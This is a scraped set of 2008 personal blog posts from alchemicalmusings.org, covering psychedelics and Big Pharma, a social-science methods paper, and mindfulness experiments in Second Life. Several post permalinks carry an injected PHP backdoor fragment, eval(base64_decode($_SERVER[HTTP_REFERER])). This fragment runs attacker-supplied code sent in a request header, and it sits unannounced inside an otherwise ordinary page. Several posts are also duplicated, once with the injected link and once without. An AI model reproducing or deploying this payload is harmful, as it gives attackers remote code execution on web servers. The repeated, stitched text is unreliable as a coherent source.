I was a bit startled to encounter a perspective that I hadn't thought about for a while. There were psychedelic enthusiasts who faithfully imagined the world being a better place if we all took a little trip (slight caricature, but bear with me). After a few years working on the Icarus Project and immersed in academia I found this attitude slightly jarring. Talk about technological determinism - our salvation in the form of an external molecule?
I happen to think that a bit of psychedelic experimentation might certainly help make the world a better place, but for one thing, if society were truly tolerant of freaks and drugs, we wouldn't need them so badly in first place. For another, psychedelics are arguably more available now than ever before, and they haven't (yet) catalysed the transformation imagined.
But what really bugged me is how this counter-cultural rhetoric would play directly into the hands of Big Pharma. Their message for years is that happiness can be found at the bottom of a pill bottle. Try to vividly imagine what these drugs would look like in their hands - the clinical administration of extracted active ingredients, outside of the usual cultural sacred context. This wouldn't accelerate the evolution of consciousness, just the flow of capital into Pharma's coffers. I also found it interesting to trace the genealogy of LSD back to psychiatry.
To be completely fair, Reality Sandwich's message isn't so simple, but I do feel its important to imagine how these messages might be appropriated.
I'll leave you with one of the shorts from Post Modern Times: Consciousness is the Key
http://alchemicalmusings.org/2008/05/21/magic-potions-and-healing-plants/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
Last week I paid tribute to Albert Hoffman at an event hosted by Reality Sandwich. I have been following the site for a while, and really enjoyed the screenings and the conversation (led by John Perry Barlow and Daniel Pinchbeck).
I was a bit startled to encounter a perspective that I hadn't thought about for a while. There were psychedelic enthusiasts who faithfully imagined the world being a better place if we all took a little trip (slight caricature, but bear with me). After a few years working on the Icarus Project and immersed in academia I found this attitude slightly jarring. Talk about technological determinism - our salvation in the form of an external molecule?
I happen to think that a bit of psychedelic experimentation might certainly help make the world a better place, but for one thing, if society were truly tolerant of freaks and drugs, we wouldn't need them so badly in first place. For another, psychedelics are arguably more available now than ever before, and they haven't (yet) catalysed the transformation imagined.
But what really bugged me is how this counter-cultural rhetoric would play directly into the hands of Big Pharma. Their message for years is that happiness can be found at the bottom of a pill bottle. Try to vividly imagine what these drugs would look like in their hands - the clinical administration of extracted active ingredients, outside of the usual cultural sacred context. This wouldn't accelerate the evolution of consciousness, just the flow of capital into Pharma's coffers. I also found it interesting to trace the genealogy of LSD back to psychiatry.
To be completely fair, Reality Sandwich's message isn't so simple, but I do feel its important to imagine how these messages might be appropriated.
I'll leave you with one of the shorts from Post Modern Times: Consciousness is the Key
http://alchemicalmusings.org/2008/05/21/magic-potions-and-healing-plants/
Well, summer vacation is finally upon me - now I only need to work fulltime.
My first year in my PhD program I found myself thinking alot about methods. Not all that surprising, given that one day I will have to defend my methods along with my ideas, but a pretty abstract space to be preoccupied with, nonetheless.
This spring I wrote a paper about all the techniques that the Social Sciences really need to be borrowing from industry and the hard sciences:
The Bionic Social Scientist: Human Sciences and Emerging Ways of Knowing
where I basically finally cashed the promisary note I scribbled 2 years ago. While it was an effort to write, looking back I am glad this now exists, and I really do understand the argument much better than when I started writing it. This is reassuring, since I keenly aware of how difficult it is to capture people's attention, and much of my writing will likely go unread. (I think this peice goes well w/ the Fall's Out of Thin Air: Metaphor, Imagination, and Design in Communications Studies).
Along the way I also created a little lesson plan around Nirvana's Lithium & The Abilify Commercial for the Teach, Think, Play weekend workshop with David Buckingham. And, I presented the ZyprexaKills Campaign (slides, paper) in London at the Politics: Web 2.0 confernce.
Phew!
http://alchemicalmusings.org/2008/05/15/no-more-pencils/
It's been a few weeks since I first started experimenting with the Play As Being practice, and ventured into Second Life. I continue to appreciate the performative brilliance of utilizing Second Life as a means to study the nature of consciousness, being, and reality. I am starting to imagine a metaphysical syllabus that incorporates virtual world immersion as an instrument for laying bare the everyday assumptions we make about consensual reality.
While I am learning something about myself as I project my identity into my avatar (its almost impossible not to, as veteran SL'ers will attest), I am also learning more about this world, and its seductive attraction. Lots of Second Lifers believe that Second Life is just as real as Real Life (which, for mystics might just mean that both are illusory), but I lean more towards the cautious opinion that Second Life is a mirror, albeit one with a great deal of depth.
Mirrors are quite magical and wonderful (7 years of altered luck, and all that). They can be used to see far and deep -- think reflecting telescopes or the michaelson-morely experiments -- but they have also trapped a fair share of narcissuses in their alluring reflections. So does SL represent the vanity of vanities? Maybe not, but considering that the energy consumption of a typical SL avatar now exceeds the energy consumption of an average real world brazillian, it is important that folks consider their time in SL well spent.
One upside of my recent journeys is that I now appreciate the research going on in this area much better. Here are two pieces from the Chronicle of Higher Ed reporting on research going on at Stanford's Virtual Human Interactions Lab:
What Happens in a Virtual World Has a Real World Impact
Digital Avatars Make the Best Teachers
The claim that a user's avatar imprints so strongly on their psyche is much easier for me to understand after spending some time in Second Life. I would have been far more skeptical of these findings if I hadn't experienced the power of this medium first hand.
These findings and experiences really helped me imagine the potential impact of projects like Virtual Guantanamo (which I haven't personally visited yet). I can say, that when I stumbled across the Virtual World Trade Center I found the location distinctly eerie and spooky. Apparently I'm not alone, as the virtual storefronts on the groundfloor are vacant here too. And, as I learned recently at a symposium at the Fashion Institute of Technology, SL is an ideal environment for teaching fashion and design. While SL has its share of casinos and lap dances, places like Rieul's Zen Garden and the Interfaith Gardens show a real diversity of interest, consistent with the proposition of SL as a mirror.
As for the core experiment, sprinkling the pixie dust of reflection and contemplation throughout my day, I continue to be impressed by how malleable my awareness can be. In Pema's words: "repetition is a powerful thing." Over the past few weeks I have also enjoyed poking holes in reality while at the movies and travelling to foreign countries. Ideas we have been repeating and playing with regularly in Dakini's lovely Rieul teahouse.
http://alchemicalmusings.org/2008/04/28/mirror-mirror-on-the-screen/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
It's been a few weeks since I first started experimenting with the Play As Being practice, and ventured into Second Life. I continue to appreciate the performative brilliance of utilizing Second Life as a means to study the nature of consciousness, being, and reality. I am starting to imagine a metaphysical syllabus that incorporates virtual world immersion as an instrument for laying bare the everyday assumptions we make about consensual reality.
While I am learning something about myself as I project my identity into my avatar (its almost impossible not to, as veteran SL'ers will attest), I am also learning more about this world, and its seductive attraction. Lots of Second Lifers believe that Second Life is just as real as Real Life (which, for mystics might just mean that both are illusory), but I lean more towards the cautious opinion that Second Life is a mirror, albeit one with a great deal of depth.
Mirrors are quite magical and wonderful (7 years of altered luck, and all that). They can be used to see far and deep -- think reflecting telescopes or the michaelson-morely experiments -- but they have also trapped a fair share of narcissuses in their alluring reflections. So does SL represent the vanity of vanities? Maybe not, but considering that the energy consumption of a typical SL avatar now exceeds the energy consumption of an average real world brazillian, it is important that folks consider their time in SL well spent.
One upside of my recent journeys is that I now appreciate the research going on in this area much better. Here are two pieces from the Chronicle of Higher Ed reporting on research going on at Stanford's Virtual Human Interactions Lab:
What Happens in a Virtual World Has a Real World Impact
Digital Avatars Make the Best Teachers
The claim that a user's avatar imprints so strongly on their psyche is much easier for me to understand after spending some time in Second Life. I would have been far more skeptical of these findings if I hadn't experienced the power of this medium first hand.
These findings and experiences really helped me imagine the potential impact of projects like Virtual Guantanamo (which I haven't personally visited yet). I can say, that when I stumbled across the Virtual World Trade Center I found the location distinctly eerie and spooky. Apparently I'm not alone, as the virtual storefronts on the groundfloor are vacant here too. And, as I learned recently at a symposium at the Fashion Institute of Technology, SL is an ideal environment for teaching fashion and design. While SL has its share of casinos and lap dances, places like Rieul's Zen Garden and the Interfaith Gardens show a real diversity of interest, consistent with the proposition of SL as a mirror.
As for the core experiment, sprinkling the pixie dust of reflection and contemplation throughout my day, I continue to be impressed by how malleable my awareness can be. In Pema's words: "repetition is a powerful thing." Over the past few weeks I have also enjoyed poking holes in reality while at the movies and travelling to foreign countries. Ideas we have been repeating and playing with regularly in Dakini's lovely Rieul teahouse.
http://alchemicalmusings.org/2008/04/28/mirror-mirror-on-the-screen/
Well, I'm on day four of our experiment with Play as Being, and have noticed subtle changes in my mood, disposition, and preoccupations. I really like the rhythm of this discipline - in Piet/Parma's words, this practice is an experiment in trading off duration for frequency.
Between work and school I haven't managed to carve out significant stretches of meditative duration the past few years, but the gentle, persistent redirection of my attention is somehow more manageable, and showing positive traces. I am more confident in my decision making, better at recognizing and balancing desire and self-control, and spending more time thinking about abstract concepts and questions.
I have been very excited about this adventure, though I have self-censored and tempered my enthusiasm since I continue to be wary of the seductive siren's song in the aesthetics of an unfamiliar media. I love learning and experiencing new things, but I sometimes have a tendency to go overboard, so I am trying to take things slow (I put myself in a lower tax bracket than my 1% cohorts - I only pause hourly, and drop by the tea house once every day or two).
With the help of a new friend that I met at PyCon, who coincidentally works at Second Life, I am appreciating the value of this type of practice in the interest of cultivating a non-judgemental awareness. Could the mainstreaming of experiences like these become the catalyst for a widespread shift in consciousness?
On the cognitive/phenomenal front, I crossed a threshold yesterday and actually experienced some SL memories. Unlike the afterimages (like after a day of playing tetris or picking mellons), these memories had a different quality. And, unlike trying to remember which page I read a story on the 2D web, these memories were vivid and real. I am realizing the ways in which an environment like this hacks my perceptual system, tuned over millennia of evolution to respond to faces and places.
This riff has me thinking alot about neural hacking, and the ways in which we all can begin to deliberately program and alter our habits and patterns of perception and interpretation (errr, I guess some people probably just call that learning ;-) ... however, the metaphor of software has perhaps pushed our understanding of flexibility and malleability farther than ever: e.g. Mind Hacks and Your Brain: The Missing Manual). I think I can make a good argument that the safest and most effective way to reprogram our consciousness is through the natural interfaces that our mind provides - namely, our natural senses.
Contrast this approach with the crude and barbaric attempts to modify mood and behaviour through pharmaceuticals. And compare this approach to the Mind Habbits "game", which begins with the design question "Can we design an interactive multimedia experience designed to make people feel better?"
My work and studies have been conditioning me to be more deliberate and purposeful in my use and design of technology. Second Life continues to present affordances and opportunities for learning and growth, but I still haven't heard that many stories of this kind of targeted exploration, which specifically leverage's the unique advantages of an immersive experience. There must be conversations like this happening in serious gaming circles, though in many ways, this project demonstrates that it isn't the game that needs to be serious, rather the attitude, approach, and context that the participants bring to the table.
Finally, here is an enumeration of some of the networks of concepts that this project has activated for me:
Merleau-Ponty's phenomenology, especially his inverted vision experiments
Stephen Kern's exploration of the shifting phenomenology around time and space at the turn of the last century
Wolfgang Schivelbusch detailed examination of the railroad, and the new experiences and perceptions it brought
Dan Gilbert Stumbling on Happiness, where amongst other ideas, explores the neuro-psychological/phenomenological overlap between vision, imagination, and memory
Itzhak Bentov's Wild Pendulum, holographic reality, and subjective time
Stan Brakhage's films and writings
Daniel Pinchbeck's popularization of reality as a manifestation of will
Meru Foundation's synthesis of kabbalistic perspectives on the relationship between consciousness and physical reality.
The Global Consciousness Project
Quite a fun web of ideas to be snared in.
/play as being
http://alchemicalmusings.org/2008/04/06/jingles-mantras-and-catch-phrases/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
I suppose it was only a matter of time before I experienced something within Second Life that caught my interest. Though I work on and study social software, I haven't been particularly giddy about metaverses (multiplayer, persistent, 3D immersive environments) for a variety of reasons - perhaps tracing back to the fact that I haven't really enjoyed playing too many computer games.
As a free software developer I have participated in quite a few post-geographic projects where communication is managed quite effictively in 2D. While I recognize the value of 'presence' and synchronous communications, I doubted that an avatar added much additional value to a communicative experience.
This semester I am personally participating in a digital studio, where we have held some meetings inside Adobe's Connect, but have found the experience cumbersome, adding little value over irc (or, at least, VOIP + text, like in skype). I usually dread video conferenced meetings, though its sometimes worthwhile to share a browser. At work, we helped set up a Global Classroom for the Earth Institute, which has been receiving rave reviews, but is mostly just a shared video experience (with a few live events). Prior to this week, I have visited second life on a handful of occasions as a guest, but mostly just been reading about it, watching videos, and hovering over other people's shoulders while they play.
All this changed this week, after a chance encounter with a professor, Piet Hut, whose work I encountered years ago as an undergrad. His dialogue with Bas Van Fraassen on The Elements of Reality really helped me crystallize my thinking on a range of philosophical questions, and the perspective explored in this conversation may serve as an effective bridge between ancient and modern metaphysics.
Prof. Hut is an astrophysicist at Princeton's Institute for Advanced Study (which now, more than ever, reminds me of the village) , and he takes phenomenology and mysticism pretty seriously. His interdisciplinary research is really all over the map and I dig his philosophies of science. His writing is usually clear and free of jargon.
I have not been keeping up with his work, but when I saw his name on the schedule at the CSSR Neuroscience and Free Will conference, I decided to crash his talk (and I figured there would be coffee and snacks).
In his talk he mentioned some of his latest work inside of virtual worlds, including new ways of conceptualizing (scientific) simulations and research. I was quite receptive to this topic, since I have been thinking a whole lot about how Technology is transforming Epistemology, which I have started writing about here, and hope to expand upon at the end of this semester (um... that's in a few weeks!).
His latest project though is another trip entirely - (or, perhaps identical, from the inside-out ;-)). The project, Play As Being is described and tracked on that blog, and is a bit tough to explain in words - you sorta have to try it to understand/believe it.
So, I kinda had an enlightening experience inside of SL. I learned about the potentialities of virtual worlds as phenomenological laboratories. While I was there last night I was attentive to my minds restlessness (how weird is it that after 45 minutes I was compelled to stand my avatar up and stretch my "legs"?) and learned a few new RL practices. I brought the lessons back to meatspace today, and was much more mindful of my body and breathing. I'm not on the full 1% time-tax rhythm, but I am working on picking out mnemonic bells so I can introduce a bit more discipline into the flow of my experience.
In retrospect, I shouldn't have been that surprised at the cognitive value of a 3D experience. I mean, I've read about The Loci Method in books like The Art of Memory. But the idea of using the environment as a Zen training studio really blew me away. I imagine you really need the right group for the experience to work, but I am quite impressed by this particular purposeful use of this instrument. It took a really good teacher(s), but I have a much better appreciation for effectively using SL as a space to practice mindfulness and contemplate Being.
Has anyone else heard of things like this happening w/in SL?
http://alchemicalmusings.org/2008/04/03/the-zen-of-life2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
Update Sources